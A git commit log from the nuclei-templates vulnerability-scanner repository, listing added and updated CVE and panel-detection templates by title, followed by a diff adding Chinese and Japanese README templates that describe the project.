Dhiyaneshwaran ae7b777c32 update fofa shodan query 2025-07-17 17:41:45 +05:30
ghost 0735a02af9 chore: generate new addition list 🤖 2025-07-17 12:10:13 +00:00
ghost c63b874de6 chore: sign templates 🤖 2025-07-17 12:10:10 +00:00
ghost 0ad157df7d chore: generate CVEs metadata 🤖 2025-07-17 12:10:06 +00:00
Ritik Chaddha e9e61bc11c Merge pull request #12611 from projectdiscovery/CVE-2025-34300
Create CVE-2025-34300.yaml (SawtoothSoftware Lighthouse Studio <9.16.14 – Pre‑Auth Remote Code Execution)
2025-07-17 17:39:45 +05:30
ghost fe91422857 chore: generate new addition list 🤖 2025-07-17 12:06:39 +00:00
ghost f67f3c93a4 chore: sign templates 🤖 2025-07-17 12:06:36 +00:00
ghost 46d478be7d chore: generate templates checksum 🤖 2025-07-17 12:06:32 +00:00
Ritik Chaddha beae1fc3ba Merge pull request #12604 from projectdiscovery/CVE-2025-6970
Create CVE-2025-6970.yaml (WordPress Events Manager <= 7.0.3 - Unauthenticated SQL Injection via orderby Parameter)
2025-07-17 17:36:10 +05:30
ghost e828594772 chore: generate templates checksum 🤖 2025-07-17 12:05:38 +00:00
ghost 17542c4faa chore: generate CVEs metadata 🤖 2025-07-17 12:05:34 +00:00
ghost bf9486a19c chore: sign templates 🤖 2025-07-17 12:05:33 +00:00
Ritik Chaddha 32c3636542 Merge pull request #12594 from projectdiscovery/CVE-2024-29198
Create CVE-2024-29198.yaml (SSRF via Demo TestWfsPost Request Endpoint (Proxy Base URL Not Set))
2025-07-17 17:35:09 +05:30
Ritik Chaddha 43daa99cb9 Update CVE-2025-34300.yaml 2025-07-17 17:35:04 +05:30
Dhiyaneshwaran d060ce59c6 updated-with-faviconhash 2025-07-17 17:32:20 +05:30
Ritik Chaddha 3809e41a5f fix matcher and info 2025-07-17 17:31:42 +05:30
ghost 140f42d7ef chore: generate new addition list 🤖 2025-07-17 12:00:40 +00:00
ghost 4fe45f95af chore: sign templates 🤖 2025-07-17 12:00:36 +00:00
ghost 73ce998027 chore: generate templates checksum 🤖 2025-07-17 12:00:33 +00:00
Dhiyaneshwaran b86e5b43fe Merge pull request #12636 from projectdiscovery/ibarn-installer
Create ibarn-installer.yaml
2025-07-17 17:30:11 +05:30
Ritik Chaddha 04586c0fa9 matchers update 2025-07-17 17:30:06 +05:30
ghost 276687cd6a chore: generate new addition list 🤖 2025-07-17 11:56:21 +00:00
ghost 6454289751 chore: sign templates 🤖 2025-07-17 11:56:19 +00:00
ghost bac3724f37 chore: generate templates checksum 🤖 2025-07-17 11:56:15 +00:00
ghost e6788dc9f7 chore: generate new addition list 🤖 2025-07-17 11:56:01 +00:00
Dhiyaneshwaran 23d884a354 Merge pull request #12635 from projectdiscovery/strongshop-installer
Create strongshop-installer.yaml
2025-07-17 17:25:53 +05:30
Ritik Chaddha e523d999c2 Merge pull request #12592 from projectdiscovery/fix-false-positive-cve2023
Update CVE-2023-1389.yaml
2025-07-17 17:25:27 +05:30
ritikchaddha 10daa8c784 Create CVE-2024-33832.yaml 2025-07-17 17:21:46 +05:30
ritikchaddha d3a9519c6e Create CVE-2024-36675.yaml 2025-07-17 17:20:29 +05:30
ritikchaddha 4bd1d762e0 Create ibarn-installer.yaml 2025-07-17 17:20:10 +05:30
ritikchaddha 88edf79366 Create strongshop-installer.yaml 2025-07-17 17:19:53 +05:30
pussycat0x 23b7a34f73 Create CVE-2025-4334.yaml 2025-07-17 16:45:06 +05:30
pussycat0x c8374d7202 Update CVE-2025-5961.yaml 2025-07-17 15:00:59 +05:30
pussycat0x 9db63cecd1 Update CVE-2025-49029.yaml 2025-07-17 15:00:32 +05:30
pussycat0x 7c78d2fb0e Update and rename CVE-2025-49029.yaml to CVE-2025-6934.yaml 2025-07-17 14:59:35 +05:30
pussycat0x 292cfd8933 Update CVE-2025-49029.yaml 2025-07-17 14:54:32 +05:30
pussycat0x fc03dc049f Create CVE-2025-49029.yaml 2025-07-17 14:51:58 +05:30
ghost 1a071ed0a3 chore: generate CVEs metadata 🤖 2025-07-17 08:43:47 +00:00
ghost a69efb8791 chore: sign templates 🤖 2025-07-17 08:43:45 +00:00
ghost bb4d3d7cdd chore: generate templates checksum 🤖 2025-07-17 08:43:44 +00:00
Dhiyaneshwaran d90e447801 Merge pull request #12615 from projectdiscovery/CVE-2025-2709
Create CVE-2025-2709.yaml
2025-07-17 14:13:18 +05:30
ghost 765ce917c8 chore: generate new addition list 🤖 2025-07-17 08:41:44 +00:00
ghost 1dda61a509 chore: sign templates 🤖 2025-07-17 08:41:42 +00:00
ghost 634bfd24e6 chore: generate CVEs metadata 🤖 2025-07-17 08:41:39 +00:00
Dhiyaneshwaran d65e471c8a Merge pull request #12620 from projectdiscovery/CVE-2024-9007
Create CVE-2024-9007.yaml
2025-07-17 14:11:13 +05:30
ghost e0c40930b7 chore: generate new addition list 🤖 2025-07-17 08:31:36 +00:00
ghost 3271be1987 chore: sign templates 🤖 2025-07-17 08:31:32 +00:00
ghost d08b76ea34 chore: generate CVEs metadata 🤖 2025-07-17 08:31:29 +00:00
Dhiyaneshwaran bbb9606ba0 Merge pull request #12612 from projectdiscovery/CVE-2025-2712
Create CVE-2025-2712.yaml
2025-07-17 14:01:02 +05:30
Dhiyaneshwaran b5311175a3 fix-max-request 2025-07-17 13:56:49 +05:30
ghost 50fb56be06 chore: generate new addition list 🤖 2025-07-17 08:26:41 +00:00
ghost 7b5817eb62 chore: generate templates checksum 🤖 2025-07-17 08:26:39 +00:00
ghost ae63416177 chore: sign templates 🤖 2025-07-17 08:26:36 +00:00
Dhiyaneshwaran d6ba99bc5f Merge pull request #12613 from projectdiscovery/saltbo-zpan-installer
Create saltbo-zpan-installer.yaml
2025-07-17 13:56:12 +05:30
Dhiyaneshwaran 22beabf164 added-max-request 2025-07-17 13:50:15 +05:30
ghost c2e85a84ea chore: generate new addition list 🤖 2025-07-17 08:19:03 +00:00
ghost c51f6e69c4 chore: sign templates 🤖 2025-07-17 08:18:57 +00:00
ghost 5be1e451c8 chore: generate templates checksum 🤖 2025-07-17 08:18:56 +00:00
Dhiyaneshwaran 820e50ee34 Merge pull request #12614 from projectdiscovery/saltbo-zpan-panel
Create saltbo-zpan-panel.yaml
2025-07-17 13:48:32 +05:30
Dhiyaneshwaran 3e5a02f039 fix-template-space 2025-07-17 13:32:01 +05:30
pussycat0x e34ac5332e Create CVE-2025-49029.yaml 2025-07-17 13:20:26 +05:30
pussycat0x 85fb4eac35 Update CVE-2025-5961.yaml 2025-07-17 12:14:33 +05:30
pussycat0x 5a365ed5f4 Create CVE-2025-5961.yaml 2025-07-17 12:06:52 +05:30
ghost b1dc0b0c34 chore: generate new addition list 🤖 2025-07-17 06:34:19 +00:00
ghost 41483ec83c chore: sign templates 🤖 2025-07-17 06:34:14 +00:00
ghost 674b74f240 chore: generate CVEs metadata 🤖 2025-07-17 06:34:13 +00:00
Dhiyaneshwaran 2362c88bf3 Merge pull request #12619 from projectdiscovery/CVE-2024-42852
Create CVE-2024-42852.yaml
2025-07-17 12:03:51 +05:30
ghost 9b06f028ca chore: generate new addition list 🤖 2025-07-17 06:32:56 +00:00
ghost 79f2ba58a1 chore: generate CVEs metadata 🤖 2025-07-17 06:32:54 +00:00
ghost 45747ff25c chore: sign templates 🤖 2025-07-17 06:32:51 +00:00
ghost a8c0267a87 chore: generate templates checksum 🤖 2025-07-17 06:32:50 +00:00
Dhiyaneshwaran 04af70a560 Merge pull request #12618 from projectdiscovery/CVE-2024-11587
Create CVE-2024-11587.yaml
2025-07-17 12:02:28 +05:30
ghost 4efbd8a519 chore: generate new addition list 🤖 2025-07-17 06:32:05 +00:00
ghost 0559a111e8 chore: generate templates checksum 🤖 2025-07-17 06:32:02 +00:00
ghost b13439e06e chore: generate CVEs metadata 🤖 2025-07-17 06:31:59 +00:00
Dhiyaneshwaran 3d5cff8596 Merge pull request #12617 from projectdiscovery/CVE-2025-2711
Create CVE-2025-2711.yaml
2025-07-17 12:01:37 +05:30
ghost f7927c2eb1 chore: generate new addition list 🤖 2025-07-17 06:31:09 +00:00
ghost 20475ed5d5 chore: sign templates 🤖 2025-07-17 06:31:07 +00:00
ghost 94a8d540ed chore: generate templates checksum 🤖 2025-07-17 06:31:03 +00:00
ghost 266ebe1e02 chore: generate CVEs metadata 🤖 2025-07-17 06:31:02 +00:00
Dhiyaneshwaran bceba510ec Merge pull request #12616 from projectdiscovery/CVE-2025-2710
Create CVE-2025-2710.yaml
2025-07-17 12:00:39 +05:30
pussycat0x 2fbb503149 Create CVE-2025-6058.yaml 2025-07-17 10:30:05 +05:30
Muhammad Daffa e2910a9c29 Update ms-exchange-local-domain.yaml 2025-07-17 09:48:56 +07:00
ghost 10556d9eaf chore: update WordPress Plugins 🤖 2025-07-17 00:28:44 +00:00
Prince Chaddha 36d56c3837 Update CVE-2025-2710 template - add impact/remediation sections, NVD reference, and shodan query 2025-07-16 23:23:00 +04:00
Prince Chaddha cd3f0bbe89 Update CVE-2025-2711 template - add impact/remediation sections and shodan query 2025-07-16 23:15:36 +04:00
Prince Chaddha f6ca15f89b Update CVE-2024-11587 template - add impact/remediation sections and shodan query 2025-07-16 23:11:51 +04:00
Prince Chaddha a6bec281ed Update CVE-2024-42852 template - add impact and remediation sections 2025-07-16 23:09:20 +04:00
Prince Chaddha 7d50481cdb Update CVE-2024-9007 template - add impact and remediation sections 2025-07-16 23:04:59 +04:00
Prince Chaddha daaadb83bc Update NATS server enumeration template - fix typo, add impact/remediation, correct port, and move to network/enumeration directory 2025-07-16 23:02:42 +04:00
pussycat0x 316ba9657d Create nats-server-enum.yaml 2025-07-16 23:57:50 +05:30
Prince Chaddha 22b38a8471 Update vtun-server template - fix duplicate tag and add impact/remediation sections 2025-07-16 22:20:03 +04:00
pussycat0x 9d40c65b92 Create vtun-server.yaml 2025-07-16 21:12:55 +05:30
Ritik Chaddha c7cdf90eb2 fix FP 2025-07-16 19:12:09 +05:30
Ritik Chaddha acea5c5e27 lint fix 2025-07-16 19:01:30 +05:30
ritikchaddha ccc3d586a5 Create CVE-2024-11587.yaml 2025-07-16 18:59:38 +05:30
ritikchaddha 6dad111f40 Create CVE-2024-42852.yaml 2025-07-16 18:59:15 +05:30
ritikchaddha 96f1985e98 Create CVE-2024-9007.yaml 2025-07-16 18:58:47 +05:30
ritikchaddha f40ee51fff Create CVE-2025-2709.yaml 2025-07-16 18:57:37 +05:30
ritikchaddha 54259ca0a9 Create CVE-2025-2710.yaml 2025-07-16 18:57:11 +05:30
ritikchaddha b38673edf6 Create CVE-2025-2711.yaml 2025-07-16 18:56:47 +05:30
ritikchaddha b37c90a153 Create CVE-2025-2712.yaml 2025-07-16 18:55:39 +05:30
ritikchaddha 4b0ac8191a Create saltbo-zpan-installer.yaml 2025-07-16 18:55:05 +05:30
ritikchaddha b6d6093d64 Create saltbo-zpan-panel.yaml 2025-07-16 18:54:10 +05:30
ghost 66eff66715 chore: generate templates checksum 🤖 2025-07-16 12:37:53 +00:00
ghost 77a5731c1e chore: sign templates 🤖 2025-07-16 12:37:49 +00:00
Dhiyaneshwaran b7f73fab4b Merge pull request #12596 from matejsmycka/printer-add-context
fix: update printer info leak template to print more context
2025-07-16 18:07:25 +05:30
pussycat0x ab71611b5e Update printers-info-leak.yaml 2025-07-16 17:59:28 +05:30
Dhiyaneshwaran 0d580c51eb Create CVE-2025-34300.yaml 2025-07-16 17:55:57 +05:30
ghost 3012e75b1a chore: sign templates 🤖 2025-07-16 12:20:21 +00:00
ghost 28f06c7649 chore: generate templates checksum 🤖 2025-07-16 12:20:18 +00:00
ghost 0d1ca58a9b chore: generate CVEs metadata 🤖 2025-07-16 12:20:17 +00:00
Dhiyaneshwaran 8a5522cc71 Merge pull request #12610 from projectdiscovery/moved-code-cves
moved code CVEs
2025-07-16 17:49:54 +05:30
Prince Chaddha 3c03239c0a moved code CVEs 2025-07-16 16:03:13 +04:00
ghost 985ffee07c chore: generate new addition list 🤖 2025-07-16 11:46:10 +00:00
ghost 71cee110ba chore: generate templates checksum 🤖 2025-07-16 11:46:08 +00:00
ghost 7a909eb82a chore: sign templates 🤖 2025-07-16 11:46:06 +00:00
ghost 7f47513d94 chore: generate CVEs metadata 🤖 2025-07-16 11:46:04 +00:00
pussycat0x 2b7ac1fe10 Merge pull request #12608 from projectdiscovery/CVE-2020-29390
Create CVE-2020-29390.yaml (Zeroshell - Command Injection)
2025-07-16 17:15:41 +05:30
rxerium 01e962849d luma osint template 2025-07-16 12:41:48 +01:00
Ritesh Sahu beba3953ff Merge branch 'projectdiscovery:main' into main 2025-07-16 15:50:13 +05:30
Prince Chaddha 146eebb7ff Update CVE-2020-29390 template - improve name format, add impact/remediation sections, add NVD reference, add max-request metadata 2025-07-16 14:00:15 +04:00
Dhiyaneshwaran f519a9814a Create CVE-2020-29390.yaml 2025-07-16 15:12:13 +05:30
ghost c2b6b52235 chore: generate new addition list 🤖 2025-07-16 08:59:12 +00:00
ghost 5ce27730a1 chore: generate templates checksum 🤖 2025-07-16 08:59:09 +00:00
ghost 699eaf972c chore: sign templates 🤖 2025-07-16 08:59:04 +00:00
ghost e92eda7276 chore: generate CVEs metadata 🤖 2025-07-16 08:59:02 +00:00
pussycat0x 01c74c8718 Merge pull request #12605 from projectdiscovery/CVE-2025-6851
Create CVE-2025-6851.yaml (WordPress Broken Link Notifier < 1.3.1 - Unauthenticated SSRF)
2025-07-16 14:28:40 +05:30
Dhiyaneshwaran c247d0f669 fix-title 2025-07-16 13:37:08 +05:30
ghost 4fbfc83aaa chore: generate new addition list 🤖 2025-07-16 08:03:09 +00:00
ghost 7574eaef93 chore: sign templates 🤖 2025-07-16 08:03:04 +00:00
ghost 1f42745d6c chore: generate CVEs metadata 🤖 2025-07-16 08:02:58 +00:00
Dhiyaneshwaran db927e08c2 Merge pull request #12601 from projectdiscovery/CVE-2025-53833
Create CVE-2025-53833.yaml (LaRecipe < 2.8.1 Remote Code Execution via SSTI)
2025-07-16 13:32:35 +05:30
Prince Chaddha fdf11c48a0 Update CVE-2025-6970 template according to review guidelines
- Add impact and remediation fields
- Add missing classification fields (cvss-metrics, cvss-score, cwe-id, epss-score, epss-percentile, cpe)
- Add vendor/product metadata fields
- Expand remediation description with version information
2025-07-16 12:02:02 +04:00
Prince Chaddha 619507861c Update CVE-2025-6851 template according to review guidelines
- Add impact and remediation fields
- Add missing classification fields (cvss-metrics, cvss-score, cwe-id, epss-score, epss-percentile, cpe)
- Add vendor/product metadata fields
- Expand remediation description with more details
2025-07-16 11:53:06 +04:00
Prince Chaddha f75d4a1d61 Update CVE-2024-50477.yaml 2025-07-16 11:44:10 +04:00
ghost df162c434c chore: sign templates 🤖 2025-07-16 07:43:07 +00:00
ghost 493d3a9e24 chore: generate templates checksum 🤖 2025-07-16 07:42:55 +00:00
ghost e8452502e4 chore: generate new addition list 🤖 2025-07-16 07:42:53 +00:00
pussycat0x dca387391a Merge pull request #12600 from projectdiscovery/wp-ninja-tables-lfi
Create wp-ninja-tables-lfi.yaml (Ninja Tables <4.1.9 - Unauthenticated Arbitrary File Read)
2025-07-16 13:12:23 +05:30
ghost fc017eb337 chore: update WordPress Plugins 🤖 2025-07-16 00:28:00 +00:00
Chris eedfb1bc5a Fix panel typo in tags 2025-07-15 19:36:04 +02:00
Dhiyaneshwaran dc96d101fc fix-trail-space 2025-07-15 22:07:30 +05:30
Dhiyaneshwaran 3eb77662f2 Create CVE-2025-6851.yaml 2025-07-15 22:02:15 +05:30
Dhiyaneshwaran 5faaa4a868 Create CVE-2025-6970.yaml 2025-07-15 21:53:39 +05:30
Prince ChaddhaandClaude d2ae73c656 feat: enhance CVE-2024-29198 template with impact and remediation sections
Added detailed impact and remediation sections to improve template structure according to review guidelines.

🤖 Generated with [Claude Code](https://claude.ai/code)

Co-Authored-By: Claude <[email protected]>
2025-07-15 18:52:21 +04:00
Prince Chaddha ff3e03131e Update printers-info-leak.yaml 2025-07-15 18:48:07 +04:00
Prince Chaddha dba21c137a Update huawei-holosense-panel.yaml 2025-07-15 18:23:42 +04:00
Prince Chaddha c5e6de115f Update wp-ninja-tables-lfi template with improved metadata and structure
- Added proper impact and remediation sections
- Added vendor and product metadata fields
- Added wp-plugin and lfi tags for better categorization
- Improved description formatting
- Enhanced template structure following review guidelines
2025-07-15 17:51:31 +04:00
Prince Chaddha 5b78cea01f Update CVE-2025-53833 template with improved classification and metadata
- Added proper classification section with CVSS metrics, score, and CWE
- Separated impact and remediation into dedicated sections
- Added vendor and product metadata fields
- Fixed template structure following review guidelines
2025-07-15 17:31:40 +04:00
Dhiyaneshwaran f0f3a6f103 fix-false-positive 2025-07-15 18:46:54 +05:30
Dhiyaneshwaran 22cfb81bb2 Create CVE-2025-53833.yaml 2025-07-15 17:16:11 +05:30
ghost 5dda459760 docs: update README 🤖 2025-07-15 07:47:26 +00:00
ghost 123c563ecb chore: generate templates stats 🤖 2025-07-15 07:46:49 +00:00
ghost 4ed154c08b chore: generate new addition list 🤖 2025-07-15 07:10:35 +00:00
ghost d76fda1cf2 chore: sign templates 🤖 2025-07-15 07:10:31 +00:00
ghost f9e6eb6403 chore: generate templates checksum 🤖 2025-07-15 07:10:29 +00:00
Prince Chaddha 3256fe7530 Merge pull request #12593 from projectdiscovery/Nuclei-Templates-v10.2.5---Release-Prep
Nuclei Templates v10.2.5 - Release Prep
2025-07-15 12:40:05 +05:30
Dhiyaneshwaran 45d01b5a7c Create wp-ninja-tables-lfi.yaml 2025-07-15 12:36:22 +05:30
Prince Chaddha 55bebf6488 Merge branch 'main' into Nuclei-Templates-v10.2.5---Release-Prep 2025-07-15 12:32:13 +05:30
Prince Chaddha 31a16ad749 Update CVE-2023-1389.yaml 2025-07-15 07:14:58 +04:00
Chris 1c9ceaebea Fix yamllint 2025-07-14 22:55:44 +02:00
Chris 85e3f928d1 Update huawei-holosense-panel
- Additiona shodan/fofa queries
2025-07-14 22:49:48 +02:00
Chris 22488362a8 Create huawei-holosense-panel.yaml 2025-07-14 22:37:19 +02:00
Matej Smycka cf67502739 fix: update printer info leak template to print more context 2025-07-14 18:03:09 +02:00
Dhiyaneshwaran 245bf9b3c2 fix-fp 2025-07-14 18:20:22 +05:30
Dhiyaneshwaran ec6bec06ce Create CVE-2024-29198.yaml 2025-07-14 18:10:37 +05:30
Prince Chaddha 45614f997c replaced requests with http 2025-07-14 16:25:10 +05:30
Prince Chaddha 36b2759b30 removed invalid templates 2025-07-14 16:15:35 +05:30
Prince ChaddhaandClaude fb7581de9f Update CVE-2023-1389.yaml - Fix false positive and enhance metadata
- Fixed duplicate HTTP request in template
- Combined separate regex matchers into single matcher for better accuracy
- Added Shodan query for better search coverage
- Added verified: true to metadata
- Improved matcher condition to reduce false positives

🤖 Generated with [Claude Code](https://claude.ai/code)

Co-Authored-By: Claude <[email protected]>
2025-07-14 10:35:36 +00:00
Dhiyaneshwaran a59f6de5eb Update CVE-2023-1389.yaml 2025-07-14 15:09:31 +05:30
Dhiyaneshwaran d55020e5b1 fix-template 2025-07-14 13:13:04 +05:30
adervis3 ad8184c91f Merge branch 'main' into main 2025-07-14 09:22:24 +03:00
Prince Chaddha f2026a7406 misc updates 2025-07-12 16:09:40 +05:30
Prince Chaddha 82f786af1f updated impact 2025-07-12 15:52:47 +05:30
Prince Chaddha 89a5e67893 updated shodan query 2025-07-12 15:50:56 +05:30
Prince Chaddha 80bfaa5ae8 Update CVE-2025-25257.yaml 2025-07-12 15:49:13 +05:30
Matej SmyckaandChris 3cccee9b60 Apply suggestions from code review
Co-authored-by: Chris <[email protected]>
2025-07-11 21:05:52 +02:00
johnk3r c598855186 Update CVE-2025-25257.yaml 2025-07-11 12:19:24 -03:00
Matej Smycka 10150fbf11 feat: add YSoft SafeQ panel exposure template 2025-07-11 15:42:47 +02:00
johnk3r f705fc10ae Update CVE-2025-25257.yaml 2025-07-11 10:11:25 -03:00
johnk3r b640ac1ce9 Update CVE-2025-25257.yaml 2025-07-11 10:07:28 -03:00
johnk3r 155cfb1ae7 Update CVE-2025-25257.yaml 2025-07-11 10:06:07 -03:00
johnk3r 981bdeb7a7 Create CVE-2025-25257.yaml 2025-07-11 10:05:24 -03:00
adervis3 42f1d3e828 Update CVE-2024-32113.yaml
Added windows support: CVE-2024-32113
2025-07-11 15:45:58 +03:00
Ritesh Sahu 5c2f4a6f5d Merge branch 'projectdiscovery:main' into main 2025-07-11 11:46:22 +05:30
Dhiyaneshwaran 67c7635e9e fix-template 2025-07-10 12:15:33 +05:30
Machevalia 5fc012a707 Merge branch 'main' into main 2025-07-08 09:13:16 -04:00
Pedro Araujo 70ee04b407 fix .lock detection 2025-07-07 19:57:59 -03:00
Abdulrahman Tamim c638200226 Update hikvision-cam-info-exposure.yaml 2025-07-05 21:35:34 +04:00
Ritesh Sahu bd7462e244 Merge branch 'projectdiscovery:main' into main 2025-07-05 16:32:44 +05:30
AbdulrahmanTamim 84b34f4a0b feat: Add Hikvision CVE-2021-36260 info exposure template 2025-07-04 20:55:27 +04:00
amjadali-110 27110f796b Create framer-subdomain-takeover.yaml 2025-07-02 11:29:21 +05:30
Rishi ca2c5e6103 domain update 2025-06-30 15:11:00 +01:00
Icaro Torres 9ce34ceab4 Create openmetadata-detect.yaml 2025-06-29 17:32:39 -03:00
Icaro Torres 42cdc1dbf8 Create openmetadata-default-login.yaml 2025-06-29 17:29:17 -03:00
Ritesh Sahu 924cc86abb Merge branch 'projectdiscovery:main' into main 2025-06-28 23:11:26 +05:30
Chris 9606a9bdb2 Fix lint error 2025-06-28 10:00:27 +02:00
Chris aadcae236d Update CVE-2025-30220
- Readd iamnoooob as author (sorry)
2025-06-28 09:41:15 +02:00
Chris 08ff5832fd Update CVE-2024-36404 and CVE-2025-30220
- Additional Shodan/Fofa queries
- Extract valid map featuretype to also matchs installs without default data values
- Add more endpoints to cover installations at the basebase and with only /ows available
- Additinal reference to vendor advisory
2025-06-28 09:32:17 +02:00
Ritesh Sahu cbf175a860 Merge branch 'projectdiscovery:main' into main 2025-06-27 11:29:27 +05:30
Ritesh Sahu 30a846b67d Update CVE-2019-5544.yaml 2025-06-25 22:21:38 +05:30
Ritesh Sahu 23a0ca3430 Create CVE-2019-5544.yaml 2025-06-25 22:14:51 +05:30
Ritesh Sahu d4a06429c2 Delete code/cves/2019/CVE-2019-5544.yaml 2025-06-25 22:13:51 +05:30
Ritesh Sahu d3991965e9 Update CVE-2019-5544.yaml 2025-06-25 15:19:41 +05:30
Ritesh Sahu 95abdfa37c Create CVE-2019-5544.yaml 2025-06-25 15:04:23 +05:30
Dhiyaneshwaran 08c5ba235b fix-template-metadata 2025-06-25 07:32:31 +05:30
Machevalia f72fceadcf Create openplc-webserver-v3-default-login.yaml 2025-06-24 20:17:19 -04:00
Machevalia a18b489453 Create CVE-2021-31630.yaml 2025-06-24 20:15:47 -04:00
Dominique RIGHETTO 6caa40221f Enhance description based on bot requests 2025-06-23 10:53:16 +02:00
Dominique RIGHETTO 77ee9f2d80 Add files via upload 2025-06-23 10:46:50 +02:00
night 1aaaa356ae Merge branch 'main' into CVE-2017-18349 2025-06-21 12:48:08 -04:00
Matej Smycka 070098dfa3 chore: add Atlona AT-OME-MS42 default login template 2025-06-20 13:42:59 +02:00
Th3l0newolf [ Chinmay Divekar] 52ce64ecb0 Ubuntu Phase 3
more templates
2025-06-18 23:58:37 -07:00
Matej Smycka 072c2ce207 chore: refine HTTP request for CVE-2000-0114 by updating matchers and request body 2025-06-18 17:19:32 +02:00
Matej Smycka bb9992d71e chore: update matchers condition and refine request body for CVE-2000-0114 2025-06-18 16:52:58 +02:00
Matej Smycka 41d0a50d4d chore: update CVE-2000-0114 template for RPC POST method and references 2025-06-18 16:33:40 +02:00
night 273970a87f Add CVE-2017-18349 Fastjson RCE template 2025-06-17 21:58:19 +02:00
Th3l0newolf [ Chinmay Divekar] e7248f767e Ubuntu CIS Phase-2 2025-06-16 09:31:36 -07:00
atomiczsec 26e656fc9e Merge branch 'projectdiscovery:main' into main 2025-06-10 09:55:51 -04:00
atomiczsec 5160bc3240 Update adcs-certificate.yaml 2025-06-10 09:49:12 -04:00
atomiczsecandChris 489ebb3e51 Update http/exposures/files/adcs-certificate.yaml
Co-authored-by: Chris <[email protected]>
2025-06-10 09:32:06 -04:00
atomiczsec 55d4a70089 Update adcs-certificate.yaml
Added detection for AD CS Web Enrollment interfaces across both /certenroll and /certsrv paths, improving its coverage and accuracy.
2025-06-01 19:19:03 -04:00
Rishi e932fe991d add tags 2025-04-22 18:35:11 +01:00
rivers 2d258d99a5 rename 2025-04-22 17:16:22 +08:00
rivers 84b520d380 Add nocobase 2025-04-22 17:07:04 +08:00
Rishi bd9fc87cc2 remove trailing space 2025-04-20 19:49:42 +01:00
Rishi c750d445f3 dnt-policy-detect 2025-04-20 19:43:04 +01:00
Anonymous 0ced7df900 Added template for easycvr-user-info-leak -
4030 changed files with 36130 additions and 21163 deletions

No files matched your search

+87
View File
@@ -0,0 +1,87 @@
f"""
<h1 align="center">
Nuclei 模板
</h1>
<div align="center">
<a href="README.md">English</a> |
<a href="README_CN.md">简体中文</a> |
<a href="README_JA.md">日本語</a> |
<a href="README_KR.md">한국어</a>
</div>
<h4 align="center">这个仓库用于存放由社区精心挑选的模板,可以使用nuclei引擎结合模板发现应用中的漏洞。</h4>
<p align="center">
<a href="https://github.com/projectdiscovery/nuclei-templates/issues"><img src="https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat"></a>
<a href="https://github.com/projectdiscovery/nuclei-templates/releases"><img src="https://img.shields.io/github/release/projectdiscovery/nuclei-templates"></a>
<a href="https://twitter.com/pdnuclei"><img src="https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter"></a>
<a href="https://discord.gg/projectdiscovery"><img src="https://img.shields.io/discord/695645237418131507.svg?logo=discord"></a>
</p>
<p align="center">
<a href="https://nuclei.projectdiscovery.io/templating-guide/">文档</a> •
<a href="#-贡献">贡献</a> •
<a href="#-交流">交流</a> •
<a href="#-社区">社区</a> •
<a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
<a href="https://discord.gg/projectdiscovery">加入Discord</a>
</p>
----
模板是 [nuclei 扫描器](https://github.com/projectdiscovery/nuclei) 的核心.
这个git仓库储存了由PD团队以及社区贡献的各种扫描模板.
我们希望您也能攻通过 **pull requests** 或者[Github issues](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+)来提交模板以扩大我们的仓库列表.
## Nuclei模板项目情况概述
以下是nuclei模板项目的情况概览,包括唯一标签,作者,目录,严重性,模板类型的相关统计情况.以下表格列出了前面提到的每项情况的TOP10信息;你也可以点击[这里](TEMPLATES-STATS.md)查看详细信息.当然你也可以点击[这里](TEMPLATES-STATS.json)获取JSON格式的详细情况统计
<table>
<tr>
<td>
{get_top10()}
**{command("tree", -2, None)}**.
</td>
</tr>
</table>
📖 文档
-----
详细的文档请访问我们的网站[https://nuclei.projectdiscovery.io](https://nuclei.projectdiscovery.io),在我们网站的详细文档中,我们提供了如何创建模板的具体方法,并且也提供了相应的示例模板来帮助您更好地理解模板的开发以及运行原理.
💪 贡献
-----
社区是Nuclei模板项目的主要贡献主力,我们非常欢迎开发者们来贡献模板,提出需求和报告Bug.
![Alt](https://repobeats.axiom.co/api/embed/55ee65543bb9a0f9c797626c4e66d472a517d17c.svg "Repobeats analytics image")
💬 交流
-----
如果您有任何关于该项目的疑问或是新奇的点子,欢迎在[Github discussions](https://github.com/projectdiscovery/nuclei-templates/discussions)创建新的板块来进行讨论.
👨‍💻 社区
-----
欢迎您加入我们的[Discord 社区](https://discord.gg/projectdiscovery),与项目维护人员直接讨论,或与其他人分享有关安全和自动化的想法。
此外,您还可以在 [Twitter](https://twitter.com/pdnuclei) 上关注我们,了解 Nuclei 的最新动态。
<p align="center">
<a href="https://github.com/projectdiscovery/nuclei-templates/graphs/contributors">
<img src="https://contrib.rocks/image?repo=projectdiscovery/nuclei-templates&max=300">
</a>
</p>
最后,感谢您对这个项目的贡献,这将让我们的社区更加充满活力.
"""
+82
View File
@@ -0,0 +1,82 @@
f"""<h1 align="center">
Nuclei テンプレート
</h1>
<h4 align="center">アプリケーションのセキュリティ脆弱性を発見するためのNucleiエンジン用テンプレートのコミュニティキュレーションリスト</h4>
<p align="center">
<a href="https://github.com/projectdiscovery/nuclei-templates/issues"><img src="https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat"></a>
<a href="https://github.com/projectdiscovery/nuclei-templates/releases"><img src="https://img.shields.io/github/release/projectdiscovery/nuclei-templates"></a>
<a href="https://twitter.com/pdnuclei"><img src="https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter"></a>
<a href="https://discord.gg/projectdiscovery"><img src="https://img.shields.io/discord/695645237418131507.svg?logo=discord"></a>
</p>
<p align="center">
<a href="https://nuclei.projectdiscovery.io/templating-guide/">ドキュメント</a> •
<a href="#-contributions">貢献</a> •
<a href="#-discussion">ディスカッション</a> •
<a href="#-community">コミュニティ</a> •
<a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
<a href="https://discord.gg/projectdiscovery">Discordに参加</a>
</p>
<p align="center">
<a href="https://github.com/projectdiscovery/nuclei-templates/blob/master/README.md">English</a> •
<a href="https://github.com/projectdiscovery/nuclei-templates/blob/master/README_KR.md">한국어</a> •
<a href="https://github.com/projectdiscovery/nuclei-templates/blob/master/README_JP.md">日本語</a>
</p>
----
テンプレートは、実際のスキャンエンジンを動作させる[nucleiスキャナー](https://github.com/projectdiscovery/nuclei)のコアです。
このリポジトリは、私たちのチームが提供するテンプレートや、コミュニティからの貢献によるさまざまなテンプレートを保存・管理します。
